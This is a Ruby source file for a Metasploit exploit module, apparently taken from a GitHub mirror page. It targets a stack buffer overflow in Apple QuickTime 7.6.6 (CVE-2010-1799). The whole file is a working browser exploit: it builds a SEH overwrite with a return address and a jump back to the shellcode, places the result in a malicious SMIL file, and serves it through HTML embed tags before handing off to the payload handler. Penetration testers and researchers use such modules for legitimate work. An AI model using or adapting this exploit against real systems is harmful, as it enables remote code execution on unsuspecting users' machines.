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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
Views: 1904
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = GoodRanking # needs more testing/targets to be Great

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  include Msf::Exploit::Remote::HttpServer::HTML

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  include Msf::Exploit::Seh

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  #include Msf::Exploit::Remote::BrowserAutopwn

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  #autopwn_info({

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  #  :os_name => OperatingSystems::Match::WINDOWS,

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  #  :javascript => true,

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  #  :rank       => NormalRanking, # reliable memory corruption

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  #  :vuln_test  => nil,

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  #})

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',

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      'Description'    => %q{

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          This module exploits a buffer overflow in Apple QuickTime

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        7.6.6. When processing a malformed SMIL uri, a stack-based buffer

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        overflow can occur when logging an error message.

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      },

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      'Author'         =>

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        [

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          'Krystian Kloskowski',  # original discovery

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          'jduck'                 # Metasploit module

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        ],

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      'License'        => MSF_LICENSE,

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      'References'     =>

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        [

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          [ 'CVE', '2010-1799' ],

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          [ 'OSVDB', '66636'],

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          [ 'BID', '41962' ],

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          [ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],

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          [ 'URL', 'http://support.apple.com/kb/HT4290' ]

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process',

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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',

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        },

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      'Payload'        =>

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        {

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          'Space'    => 640, # 716 - 63 - 8 - 5

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          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",

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        },

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      'Platform' => 'win',

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      'Targets'  =>

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        [

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          #[ 'Automatic', { } ],

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          [ 'Apple QuickTime Player 7.6.6',

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            {

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              'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)

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            }

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          ],

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        ],

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      'Privileged'     => false,

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      'DisclosureDate' => '2010-08-12',

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      'DefaultTarget'  => 0))

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  end

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  def on_request_uri(client, request)

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    return if ((p = regenerate_payload(client)) == nil)

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    if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)

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      print_status("Sending exploit SMIL (target: #{target.name})")

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      # This is all basically filler on the browser target because we can't

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      # expect the SEH to be in a reliable place across multiple browsers.

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      # Heap spray ftw.

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      off = 716

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      start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

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      scheme = rand_text_alphanumeric(5)

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      sploit = ''

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      sploit << scheme

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      sploit << "://"

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      # payload

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      sploit << p.encoded

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      # pad to SEH

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      sploit << rand_text_english(off - sploit.length - start.length)

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      # seh frame

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      sploit << generate_seh_record(target.ret)

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      # jmp back to payload

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      distance = off + 8 - (8 + start.length)

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      sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

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      # force exception while writing

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      sploit << rand_text(1024) * 15

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      smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">

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<body>

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<img src="#{sploit}" />

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</body>

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</smil>

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|

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      send_response(client, smil, { 'Content-Type' => "application/smil" })

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    else

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      print_status("Sending initial HTML")

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      shellcode = Rex::Text.to_unescape(p.encoded)

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      url =  ((datastore['SSL']) ? "https://" : "http://")

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      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])

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      url << ":" + datastore['SRVPORT'].to_s

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      url << get_resource

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      fname = rand_text_alphanumeric(4)

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      content =  "<html><body>"

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      content << <<-ENDEMBED

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          <OBJECT

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          CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

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          WIDTH="1"

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          HEIGHT="1"

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          CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">

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          <PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">

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          <PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">

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          <PARAM name="AUTOPLAY"   VALUE = "true"               >

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          <PARAM name="TYPE"       VALUE = "video/quicktime"    >

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          <PARAM name="TARGET"     VALUE = "myself"             >

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          <EMBED

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            SRC        = "#{url}/#{fname}.qtl"

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            QTSRC      = "#{url}/#{fname}.qtl"

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            TARGET     = "myself"

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            WIDTH      = "1"

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            HEIGHT     = "1"

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            AUTOPLAY   = "true"

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            PLUGIN     = "quicktimeplugin"

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            TYPE       = "video/quicktime"

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            CACHE      = "false"

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            PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >

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          </EMBED>

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          </OBJECT>

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        ENDEMBED

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      content << "</body></html>"

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      send_response(client, content, { 'Content-Type' => "text/html" })

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    end

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    # Handle the payload

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    handler(client)

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  end

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end

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